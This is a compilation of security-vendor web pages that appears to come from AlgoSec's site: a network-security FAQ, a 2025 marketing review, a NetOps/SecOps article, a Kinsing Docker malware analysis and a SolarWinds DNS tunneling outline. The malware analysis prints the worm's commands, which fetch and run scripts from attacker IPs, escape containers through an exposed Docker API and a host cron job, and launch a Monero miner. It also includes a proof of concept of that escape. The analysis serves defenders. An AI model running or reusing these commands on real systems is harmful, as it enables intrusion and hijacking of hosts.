What is endpoint security and its functionality? Endpoint security tools protect individual devices like desktop workstations, laptop computers, and mobile phones from cyber attacks. This usually means installing an endpoint security client on the device which regularly scans for malware and inspects user behaviors to detect signs of unauthorized access. Mobile devices are particularly important to endpoint security because they can change location or get lost or stolen. Many advanced endpoint security tools offer additional features to detect malicious insiders who may have gained access to a legitimate user’s mobile device. What are firewalls in network security? Firewalls are devices that inspect network traffic. They typically sit at the edge of the network, protecting internal network assets from receiving malicious content from outside the network. Traditional firewalls look for packet and port data that indicates unauthorized activity and filter out connections that don’t appear legitimate. Next-generation firewalls offer a much wider range of capabilities to security teams. They can conduct deep packet inspection and identify traffic that belongs to particular apps or users. Some NGFW devices can even detect when sensitive data is being sent out of the network and block the attempt. What is Network Access Control (NAC)? Network access control solutions provide visibility into the actions users take on a network. They enable security teams to enforce access management policies on devices throughout the network. Without an NAC solution in place, security tools would have a much harder time recognizing users and devices based on their usage profiles, or managing permissions and authentication policies without using a separate access control solution. What is Zero Trust Network Access (ZTNA)? Zero Trust Network Access provides secure remote access to the data, applications, and service hosted on a network. It does this through a set of strictly defined access control policies that do not extend trust to users based on their previous behaviors. With a ZTNA policy in place, a malicious user who impersonates an employee and gains access to one segment of the network would not necessarily be able to move onto another segment of the network. How does Zero Trust secure cloud environments within enterprise networks? Cloud-enabled network infrastructure provides a more complex security profile than simple on-premises infrastructure. This is because the organization may not control the entire network, and it may not be able to establish boundaries for that network on its own. Security leaders need to deploy a more complex set of firewalls, proxies, and threat detection solutions to securely access cloud-hosted assets while still complying with Zero Trust. What is the Role of Network Segmentation in Reducing Attack Surface? Network segmentation puts obstacles up between different parts of the network. If attackers compromise one segment of the network, they will be unable to gain instant access to the rest of the network. Instead, they will have to spend additional time and resources breaking into other network segments. This increases the chance that security teams can detect the intruder and remediate the attack before catastrophic damage is done. What is Secure Access Service Edge (SASE)? SASE is an emerging concept that provides a level of security appropriate to complex cloud-enabled enterprises with distributed remote users. It combines wide area network (WAN) with network security services like CASB, firewall-as-a-service, and Zero Trust into a unified service delivered through the cloud. This gives security leaders real-time data on their cloud security posture and allows them to accurately assess network risks continuously. What is threat detection and threat intelligence? Threat detection tools include Intrusion Prevention Systems (IPS), sandboxes, and Security Information and Event Management platforms: Intrusion Prevention Systems (IPS) identify and block unauthorized network activity, often in conjunction with firewalls and other security tools. Sandboxing allows users to download and open suspicious files in a simulated IT environment. If the file launches malware, the sandbox application will close and delete the file without allowing it to harm the system. Security Information and Event Management (SIEM) platforms allow security operations personnel to conduct real-time monitoring and respond to threats as soon as they occur. How do network security solutions help with data loss prevention? (DLP) Network security tools prevent hackers from interacting with sensitive data and block attempts to exfiltrate that data and use it to extort users. DLP solutions help security teams identify and classify sensitive information so that they can put the appropriate security controls in place to protect it. Without this step, it would be very difficult to tell when data breaches result in the loss of protected data because security teams would not have a clear idea of where that data is. In addition to network security, many organizations are also relying on enterprise data backup and recovery solutions in the event of a disaster, their cloud data is preserved and easily retrievable. Can network security solutions help with email security? Some network security tools include valuable email security and anti-phishing features. For example, some next-generation firewalls can detect when authorized users attempt to input their login credentials on spoofed websites. They prevent the data from leaving the network and warn the user that they have been targeted by a phishing attack. Multi-layered security solutions are crucial to establishing secure workflows. What is the role of Virtual Private Networks (VPN) in Network Security? VPNs allow users to encrypt their traffic and interact with protected information even when they don’t trust their own internet connection. This is important for employees interacting with remote records while traveling, where hackers can easily create fake Wi-Fi hotspots designed to look like well-known public networks. Some VPNs also anonymize user identities, allowing them to access content they would not otherwise be able to. What is IoT’s impact on Network Security? The Internet of Things presents many challenges to operational security, especially for large enterprises and industrial organizations. IoT devices rarely benefit from the kind of built-in security protections that desktop workstations and mobile phones have, making them an easy target for hackers. Security leaders need to group IoT devices together and protect them with strict security policies enforced by high quality firewalls and other tools. Mitigating Distributed Denial of Service (DDoS Attacks) Hackers may attack organizations by preventing other users from accessing their services. They may even use these attacks to disrupt firewalls and create an opening through which they can launch additional attacks. Protecting network assets from DDoS attacks requires implementing firewalls that can detect these attacks and drop the malicious connections hackers are trying to make. Next-generation firewalls have additional resources available for doing this, and can even defend against complex multi-session attacks. What are network security best practices? Network security policies and firewall rules must balance the need for security with the need for easy and accessible workflows. If security tools prevent legitimate users from accessing the assets they need, it may impact production. Similarly, security leaders need to deploy limited resources efficiently. Automation helps ensure security team members can dedicate their time to important strategic initiatives instead of high-volume, low-impact tasks. What is the role of Managed Security Service Providers (MSSPs)? MSSPs help growing organizations enhance operational security without requiring them to build, deploy, and staff their own security operations center. This allows them to save a great deal of money compared to the cost of building in-house security capabilities. It also grants organizations access to specialist security talent they might not otherwise be able to afford. Instead of paying for unpredictable security expenditures, organizations can pay a consistent monthly fee according to the services they actually use.

This year was marked by breakthrough innovations, significant industry recognition, and an unwavering commitment to our vision of secure application connectivity. From launching game-changing solutions to earning accolades on the global stage, 2025 challenged us to push boundaries – and we rose to the occasion with confidence and purpose. Every challenge met, every milestone achieved, has reinforced our resolve to lead in network security policy management across hybrid cloud environments. The story of AlgoSec in 2025 is one of innovation validated by the industry and, most importantly, by the trust of our customers. In this featured year-end review, I’ll walk through AlgoSec’s 2025 journey quarter by quarter. It’s a personal narrative from my vantage point as someone fortunate enough to help shape our story. The tone is proud and forward-looking because the accomplishments of this year have set the stage for an even more ambitious 2026. So let’s dive in, quarter by quarter, into how 2025 unfolded for AlgoSec – a year of solidifying leadership, fostering innovation, and securing connectivity for enterprises worldwide. Q1 – Launching a new horizon in hybrid cloud security The first quarter of 2025 was all about bold beginnings. We started the year by challenging the status quo in hybrid network security and laying the groundwork for everything to follow. Launch of the AlgoSec Horizon platform: In February, we unveiled AlgoSec Horizon , our most advanced application-centric security management platform for converging cloud and on-premise environments. This wasn’t just a product launch – it was a statement of direction. AlgoSec Horizon is the industry’s first platform to unify security policy automation across hybrid networks, giving teams a single pane of glass for both cloud and data center connectivity. By applying AI-driven visibility and risk mitigation, Horizon allows security teams to consistently manage application connectivity and policies across any environment. “Today’s networks are 100x more complex... requiring organizations to unify security operations, automate policies and enhance visibility across infrastructures,” as our VP of Product Eran Shiff noted at launch. With Horizon, our customers gained full visibility into their hybrid-cloud network and the power to remediate risks without slowing down the business. We even showcased Horizon live at Cisco Live 2025 in Amsterdam, letting attendees see firsthand how it simplifies hybrid cloud security. This Q1 milestone set the tone for the year – proving that we don’t just adapt to industry shifts, we lead them. Continuing analyst recognition and thought leadership: Building on momentum from the previous year, we carried forward strong validation from industry analysts. AlgoSec entered 2025 still highlighted as a Market Outperformer in GigaOm’s recent Radar Report for Cloud Network Security. In that report, analyst Andrew Green praised our core strength: “AlgoSec automates application connectivity and security policy across the hybrid network estate including public cloud, private cloud, containers, and on-premises networks.” Such independent insight validated our unique, application-centric approach. Internally, these early recognitions energized our teams. We doubled down on R&D and prepared to share our expertise more broadly – including wrapping up work on our annual research report. Q1’s focus on innovation and expert validation paved the way for the accomplishments that followed in subsequent quarters. Q2 – Thought leadership and industry accolades on the global stage If Q1 was about innovation, Q2 was about validation. In the second quarter, AlgoSec stepped onto the global stage at RSAC 2025 and emerged with both influential research and prestigious awards. It was a period where our thought leadership in secure connectivity met with resounding industry recognition. State of network security report 2025: In April, we released our annual State of Network Security Report , a comprehensive vendor-agnostic study of emerging trends and challenges in network security. This report quickly became a cornerstone of our thought leadership. It revealed how businesses are prioritizing multi-cloud strategies and zero-trust architecture in unprecedented ways. For instance, zero-trust adoption reached an all-time high – 56% of organizations reported they had fully or partially implemented zero-trust by 2025. We also highlighted that multi-cloud environments are now the norm, with Azure rising to become the most widely used cloud platform among respondents. Perhaps most telling was the finding that automating application connectivity ranked as the top priority for minimizing risk and downtime [9] . These insights underscored a message we’ve championed for years – that security can and should be an enabler of business agility. By shining a light on gaps in visibility and the need for policy automation, our Q2 research reinforced AlgoSec’s role as a thought leader in secure application connectivity. The report’s influence was evident in conversations at industry events and in how customers approached their network security strategy. Awards at RSAC 2025 – best security company and more: The highlight of Q2 came during the RSA Conference in late April, when AlgoSec earned two major industry accolades in one week. SC Media honored AlgoSec with the 2025 SC Award for Best Security Company, a recognition of our impact and innovation in cybersecurity. At the same time, Cyber Defense Magazine announced us as a winner of a 2025 Global InfoSec Award for Best Service – Cybersecurity Company [11] . Securing these prestigious awards simultaneously was a proud and humbling moment. It marked a significant milestone for our team as we continue to gain momentum across the global enterprise market. These accomplishments also validated our mission to deliver secure, seamless application connectivity across hybrid environments. “We’re honored to be recognized for empowering our customers to move faster and stay secure,” an AlgoSec spokesperson said, when discussing what the SC Award means to us. Indeed, being named Best Security Company came on the heels of some impressive company growth metrics – over 2,200 organizations now trust AlgoSec for their security policy management needs, and we saw 14% customer growth over the past year. The SC Award judges also noted that we command roughly 32% of the security policy management market share , highlighting AlgoSec’s leadership in this space. For me personally, seeing our work celebrated at RSAC 2025 was exhilarating. It wasn’t just about trophies; it was about validation from the community that the path we chose – focusing on application-centric, hybrid-cloud security – is the right one. Q2 ended with our trophy cabinet a bit fuller and our resolve stronger than ever to keep raising the bar. Q3 – Accelerating growth and fostering community The third quarter saw our innovations bear fruit in the market and our community initiatives take center stage. Coming out of the big wins of Q2, we maintained that momentum through the summer by executing on our strategies and engaging deeply with customers and partners. Q3 was about scaling up – both in terms of business impact and thought leadership outreach. Surging adoption and business growth: By mid-year, the impact of our new platform and solutions was clear in the numbers . In fact, we recorded a 36% year-over-year increase in new annual recurring revenue (ARR) in the first half of 2025 , driven largely by strong adoption of the AlgoSec Horizon platform. Our existing customers stayed with us as well – we maintained a gross dollar retention rate above 90%, a metric that speaks to the tangible value organizations are getting from our products. One anecdote that sticks with me is a story from a major U.S. financial institution: after deploying Horizon, they discovered 1,800 previously unknown applications and their connectivity requirements within the first two weeks . That kind of visibility – uncovering what was once shadow IT – is a game-changer for risk reduction. It proved that our focus on hybrid cloud security and intelligent automation is solving real problems. Equally rewarding was the feedback from customers. By Q3, AlgoSec was sustaining an average rating of 4.5 stars on Gartner Peer Insights , with users praising our platform’s depth and ease of use. We’ve also consistently ranked at the top of our category on peer review sites like G2 and PeerSpot, reflecting the positive outcomes our users are achieving . This convergence of market growth and customer satisfaction in Q3 affirmed that our application-centric approach is resonating strongly. Extending thought leadership through strategic research: Our growth in Q3 wasn’t just reflected in numbers—it also showed in how we’re shaping the security conversation. One standout was the publication of the Security Convergence eBook , developed in partnership with ESG. This research-backed guide addressed the operational and strategic challenges of aligning application, network, and cloud security. It offered actionable insights for enterprises navigating the intersection of security domains, a challenge we consistently hear about from our customers. The eBook resonated with CISOs and security leaders tasked with unifying fragmented processes under growing compliance and performance pressures. It reaffirmed AlgoSec’s unique position—not just as a solution provider, but as a partner helping drive clarity and convergence in the face of growing complexity. Community engagement and knowledge sharing : Even as we grew, we never lost sight of the importance of community and education. In September, we launched the AlgoSec Horizon Tour , a roadshow of interactive sessions across EMEA and the U.S. aimed at sharing best practices in secure application connectivity. These workshops gave enterprise security teams a hands-on look at Horizon’s capabilities and provided a forum for us to hear feedback directly from users. The tour culminated in our annual AlgoSummit 2025 – a virtual conference we hosted on September 30th that brought together customers, partners, and industry experts. If I had to choose a proud moment from Q3, AlgoSummit 2025 would be high on the list. We facilitated deep-dive discussions on zero trust architecture , cloud security, and the future of network policy automation. It was inspiring to see our community openly exchange ideas and solutions. This summit wasn’t just a company event; it felt like an industry think-tank. It reinforced AlgoSec’s role as a trusted advisor in the field of network security, not just a product vendor. By the end of Q3, we had strengthened the bonds with our user community and showcased that as networks evolve, we’re evolving right alongside our customers – providing guidance, platform innovations, and an open ear to their needs. Recognition of customer success: On a more personal note, Q3 also brought moments that reminded us why we do what we do. I recall one customer review that particularly struck me, where a network security manager described how AlgoSec became indispensable as their organization embraced zero trust. “As we aspire to achieve zero-trust… we need tools like AlgoSec to assist us in the journey because most application owners do not know what access is needed. This tool helps them learn what needs to be implemented to reduce the attack surface,” he noted. Hearing directly from customers about how we’re helping them reduce risk and implement zero trust principles is incredibly motivating. It underscores that behind the growth statistics are real organizations becoming safer and more agile, powered by our solutions. This customer-centric ethos carried us through Q3 and into the final stretch of the year. Q4 – Culminating achievements and setting the stage for what’s next As the year drew to a close, AlgoSec showed no signs of slowing down. In fact, Q4 was about finishing strong and preparing for the future. We used the final quarter to expand our solution capabilities, help customers navigate new security paradigms, and celebrate the capstone of several achievements. It’s been a period of tying up 2025’s narrative threads and pointing our compass toward 2026. Expanding zero-trust and cloud security initiatives: In Q4, we doubled down on helping customers realize Zero Trust Architecture across their increasingly complex environments. Building on the micro-segmentation and application dependency mapping capabilities of our platform, we introduced new workflows to streamline zero-trust policy adoption. Our approach has been to make zero trust practical – ensuring that as enterprises segment their networks, they maintain clear visibility into application flows and can automate rule changes without fear of breaking things. We also expanded integrations with cloud platforms, recognizing that hybrid cloud deployments require consistent enforcement of zero-trust principles. The goal is simple: only allow what’s necessary. As one of our customers at NCR put it, “we need tools like AlgoSec… because most application owners do not know what access is needed. This tool helps them learn what needs to be implemented to reduce the attack surface.” That insight from the field echoes in our Q4 product enhancements – we focused on features that help identify and tighten overly permissive access, be it on-prem or in the cloud. Additionally, we kept an eye on emerging regulations and frameworks. With new security compliance requirements on the horizon, we ensured our solutions can automate audits and segmentation policies to keep our customers one step ahead. In short, Q4 was about reinforcing our commitment to hybrid cloud security and zero trust, so that our users can enter 2026 with confidence in their security posture. Even as 2025 ends, the wave of recognition we’ve ridden continues into Q4. I’m thrilled to share that in November, AlgoSec was named a “Trailblazing” company in Network Security and Management as part of the 2025 Top InfoSec Innovator Awards . This honor, bestowed by Cyber Defense Magazine’s panel of judges, places us among a select group of cybersecurity companies driving innovation and shaping the future of the industry. It’s a testament to our team’s hard work and our forward-thinking roadmap. Looking ahead to 2026 Reflecting on 2025, it’s clear that this year has been t ransformationa l for AlgoSec. We innovated boldly, earned trust widely, and solidified our position as the go-to partner for enterprises seeking secure, agile connectivity. The awards and recognitions were wonderful highlights – they energize us – but what truly drives our pride is knowing we helped organizations around the world accelerate their business securely . The foundations we laid this year in areas like zero trust architecture, hybrid cloud security, and intelligent policy automation have set us up for an even more impactful 2026.

Tags Share this article 4/16/21 Published Tsippi Dach, Director of Communications at AlgoSec, explores the relationship between NetOps and SecOps and explains why they are the perfect partnership The IT landscape has changed beyond recognition in the past decade or so. The vast majority of businesses now operate largely in the cloud, which has had a notable impact on their agility and productivity. A recent survey of 1,900 IT and security professionals found that 41 percent or organizations are running more of their workloads in public clouds compared to just one-quarter in 2019. Even businesses that were not digitally mature enough to take full advantage of the cloud will have dramatically altered their strategies in order to support remote working at scale during the COVID-19 pandemic. However, with cloud innovation so high up the boardroom agenda, security is often left lagging behind, creating a vulnerability gap that businesses can little afford in the current heightened risk landscape. The same survey found the leading concern about cloud adoption was network security (58%). Managing organizations’ networks and their security should go hand-in-hand, but, as reflected in the survey, there’s no clear ownership of public cloud security. Responsibility is scattered across SecOps, NOCs and DevOps, and they don’t collaborate in a way that aligns with business interests. We know through experience that this siloed approach hurts security, so what should businesses do about it? How can they bridge the gap between NetOps and SecOps to keep their network assets secure and prevent missteps? Building a case for NetSecOps Today’s digital infrastructure demands the collaboration, perhaps even the convergence, of NetOps and SecOps in order to achieve maximum security and productivity. While the majority of businesses do have open communication channels between the two departments, there is still a large proportion of network and security teams working in isolation. This creates unnecessary friction, which can be problematic for service-based businesses that are trying to deliver the best possible end-user experience. The reality is that NetOps and SecOps share several commonalities. They are both responsible for critical aspects of a business and have to navigate constantly evolving environments, often under extremely restrictive conditions. Agility is particularly important for security teams in order for them to keep pace with emerging technologies, yet deployments are often stalled or abandoned at the implementation phase due to misconfigurations or poor execution. As enterprises continue to deploy software-defined networks and public cloud architecture, security has become even more important to the network team, which is why this convergence needs to happen sooner rather than later. We somehow need to insert the network security element into the NetOps pipeline and seamlessly make it just another step in the process. If we had a way to automatically check whether network connectivity is already enabled as part of the pre-delivery testing phase, that could, at least, save us the heartache of deploying something that will not work. Thankfully, there are tools available that can bring SecOps and NetOps closer together, such as Cisco ACI , Cisco Secure Workload and AlgoSec Security Management Solution . Cisco ACI, for instance, is a tightly coupled policy-driven solution that integrates software and hardware, allowing for greater application agility and data center automation. Cisco Secure Workload (previously known as Tetration), is a micro-segmentation and cloud workload protection platform that offers multi-cloud security based on a zero-trust model. When combined with AlgoSec, Cisco Secure Workload is able to map existing application connectivity and automatically generate and deploy security policies on different network security devices, such as ACI contract, firewalls, routers and cloud security groups. So, while Cisco Secure Workload takes care of enforcing security at each and every endpoint, AlgoSec handles network management. This is NetOps and SecOps convergence in action, allowing for 360-degree oversight of network and security controls for threat detection across entire hybrid and multi-vendor frameworks. While the utopian harmony of NetOps and SecOps may be some way off, using existing tools, processes and platforms to bridge the divide between the two departments can mitigate the ‘silo effect’ resulting in stronger, safer and more resilient operations.

Cloud Security Kinsing Punk: An Epic Escape From Docker Containers Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/22/20 Published We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an unencrypted form. Network-aware worms were brute-forcing the credentials of weakly-restricted shares to propagate across networks. Some of them were piggy-backing on Windows Task Scheduler to activate remote payloads. Today, it’s déjà vu all over again. Only in the world of Linux. As reported earlier this week by Cado Security, a new fork of Kinsing malware propagates across misconfigured Docker platforms and compromises them with a coinminer. In this analysis, we wanted to break down some of its components and get a closer look into its modus operandi. As it turned out, some of its tricks, such as breaking out of a running Docker container, are quite fascinating. Let’s start from its simplest trick — the credentials grabber. AWS Credentials Grabber If you are using cloud services, chances are you may have used Amazon Web Services (AWS). Once you log in to your AWS Console, create a new IAM user, and configure its type of access to be Programmatic access, the console will provide you with Access key ID and Secret access key of the newly created IAM user. You will then use those credentials to configure the AWS Command Line Interface ( CLI ) with the aws configure command. From that moment on, instead of using the web GUI of your AWS Console, you can achieve the same by using AWS CLI programmatically. There is one little caveat, though. AWS CLI stores your credentials in a clear text file called ~/.aws/credentials . The documentation clearly explains that: The AWS CLI stores sensitive credential information that you specify with aws configure in a local file named credentials, in a folder named .aws in your home directory. That means, your cloud infrastructure is now as secure as your local computer. It was a matter of time for the bad guys to notice such low-hanging fruit, and use it for their profit. As a result, these files are harvested for all users on the compromised host and uploaded to the C2 server. Hosting For hosting, the malware relies on other compromised hosts. For example, dockerupdate[.]anondns[.]net uses an obsolete version of SugarCRM , vulnerable to exploits. The attackers have compromised this server, installed a webshell b374k , and then uploaded several malicious files on it, starting from 11 July 2020. A server at 129[.]211[.]98[.]236 , where the worm hosts its own body, is a vulnerable Docker host. According to Shodan , this server currently hosts a malicious Docker container image system_docker , which is spun with the following parameters: ./nigix –tls-url gulf.moneroocean.stream:20128 -u [MONERO_WALLET] -p x –currency monero –httpd 8080 A history of the executed container images suggests this host has executed multiple malicious scripts under an instance of alpine container image: chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]116[.]62[.]203[.]85:12222/web/xxx.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]106[.]12[.]40[.]198:22222/test/yyy.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:12345/zzz.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:26573/test/zzz.sh | sh’ Docker Lan Pwner A special module called docker lan pwner is responsible for propagating the infection across other Docker hosts. To understand the mechanism behind it, it’s important to remember that a non-protected Docker host effectively acts as a backdoor trojan. Configuring Docker daemon to listen for remote connections is easy. All it requires is one extra entry -H tcp://127.0.0.1:2375 in systemd unit file or daemon.json file. Once configured and restarted, the daemon will expose port 2375 for remote clients: $ sudo netstat -tulpn | grep dockerd tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN 16039/dockerd To attack other hosts, the malware collects network segments for all network interfaces with the help of ip route show command. For example, for an interface with an assigned IP 192.168.20.25 , the IP range of all available hosts on that network could be expressed in CIDR notation as 192.168.20.0/24 . For each collected network segment, it launches masscan tool to probe each IP address from the specified segment, on the following ports: Port Number Service Name Description 2375 docker Docker REST API (plain text) 2376 docker-s Docker REST API (ssl) 2377 swarm RPC interface for Docker Swarm 4243 docker Old Docker REST API (plain text) 4244 docker-basic-auth Authentication for old Docker REST API The scan rate is set to 50,000 packets/second. For example, running masscan tool over the CIDR block 192.168.20.0/24 on port 2375 , may produce an output similar to: $ masscan 192.168.20.0/24 -p2375 –rate=50000 Discovered open port 2375/tcp on 192.168.20.25 From the output above, the malware selects a word at the 6th position, which is the detected IP address. Next, the worm runs zgrab — a banner grabber utility — to send an HTTP request “/v1.16/version” to the selected endpoint. For example, sending such request to a local instance of a Docker daemon results in the following response: Next, it applies grep utility to parse the contents returned by the banner grabber zgrab , making sure the returned JSON file contains either “ApiVersion” or “client version 1.16” string in it. The latest version if Docker daemon will have “ApiVersion” in its banner. Finally, it will apply jq — a command-line JSON processor — to parse the JSON file, extract “ip” field from it, and return it as a string. With all the steps above combined, the worm simply returns a list of IP addresses for the hosts that run Docker daemon, located in the same network segments as the victim. For each returned IP address, it will attempt to connect to the Docker daemon listening on one of the enumerated ports, and instruct it to download and run the specified malicious script: docker -H tcp://[IP_ADDRESS]:[PORT] run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “curl [MALICIOUS_SCRIPT] | bash; …” The malicious script employed by the worm allows it to execute the code directly on the host, effectively escaping the boundaries imposed by the Docker containers. We’ll get down to this trick in a moment. For now, let’s break down the instructions passed to the Docker daemon. The worm instructs the remote daemon to execute a legitimate alpine image with the following parameters: –rm switch will cause Docker to automatically remove the container when it exits -v /:/mnt is a bind mount parameter that instructs Docker runtime to mount the host’s root directory / within the container as /mnt chroot /mnt will change the root directory for the current running process into /mnt , which corresponds to the root directory / of the host a malicious script to be downloaded and executed Escaping From the Docker Container The malicious script downloaded and executed within alpine container first checks if the user’s crontab — a special configuration file that specifies shell commands to run periodically on a given schedule — contains a string “129[.]211[.]98[.]236” : crontab -l | grep -e “129[.]211[.]98[.]236” | grep -v grep If it does not contain such string, the script will set up a new cron job with: echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * $LDR http[:]//129[.]211[.]98[.]236/xmr/mo/mo.jpg | bash; crontab -r > /dev/null 2>&1” ) | crontab – The code snippet above will suppress the no crontab for username message, and create a new scheduled task to be executed every minute . The scheduled task consists of 2 parts: to download and execute the malicious script and to delete all scheduled tasks from the crontab . This will effectively execute the scheduled task only once, with a one minute delay. After that, the container image quits. There are two important moments associated with this trick: as the Docker container’s root directory was mapped to the host’s root directory / , any task scheduled inside the container will be automatically scheduled in the host’s root crontab as Docker daemon runs as root, a remote non-root user that follows such steps will create a task that is scheduled in the root’s crontab , to be executed as root Building PoC To test this trick in action, let’s create a shell script that prints “123” into a file _123.txt located in the root directory / . echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1” ) | crontab – Next, let’s pass this script encoded in base64 format to the Docker daemon running on the local host: docker -H tcp://127.0.0.1:2375 run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “echo ‘[OUR_BASE_64_ENCODED_SCRIPT]’ | base64 -d | bash” Upon execution of this command, the alpine image starts and quits. This can be confirmed with the empty list of running containers: $ docker -H tcp://127.0.0.1:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES An important question now is if the crontab job was created inside the (now destroyed) docker container or on the host? If we check the root’s crontab on the host, it will tell us that the task was scheduled for the host’s root, to be run on the host: $ sudo crontab -l * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1 A minute later, the file _123.txt shows up in the host’s root directory, and the scheduled entry disappears from the root’s crontab on the host: $ sudo crontab -l no crontab for root This simple exercise proves that while the malware executes the malicious script inside the spawned container, insulated from the host, the actual task it schedules is created and then executed on the host. By using the cron job trick, the malware manipulates the Docker daemon to execute malware directly on the host! Malicious Script Upon escaping from container to be executed directly on a remote compromised host, the malicious script will perform the following actions: Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026?

Cloud Security DNS Tunneling In The SolarWinds Supply Chain Attack Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur.

Tags Share this article 12/23/20 Published The aim of this post is to provide a very high-level illustration of the DNS Tunneling method used in the SolarWinds supply chain attack . An Attacker compromises SolarWinds company and trojanizes a DLL that belongs to its software. Some of the customers receive the malicious DLL as an update for the SolarWinds Orion software. “Corporation XYZ” receives the malicious and digitally signed DLL via update. SolarWinds Orion software loads the malicious DLL as a plugin. Once activated, the DLL reads a local domain name “local.corp-xyz.com” (a fictious name). The malware encrypts the local domain name and adds it to a long domain name. The long domain name is queried with a DNS server (can be tapped by a passive DNS sensor). The recursive DNS server is not authorized to resolve avsvmcloud[.]com, so it forwards the request. An attacker-controlled authoritative DNS server resolves the request with a wildcard A record. The Attacker checks the victim’s name, then adds a CNAME record for the victim’s domain name. The new CNAME record resolves the long domain name into an IP of an HTTP-based C2 server. The malicious DLL downloads and executes the 2nd stage malware (TearDrop, Cobalt Strike Beacon). A Threat Researcher accesses the passive DNS (pDNS) records. One of the long domain names from the pDNS records is decrypted back into “local.corp-xyz.com”. The Researcher deducts that the decrypted local domain name belongs to “Corporation XYZ”.
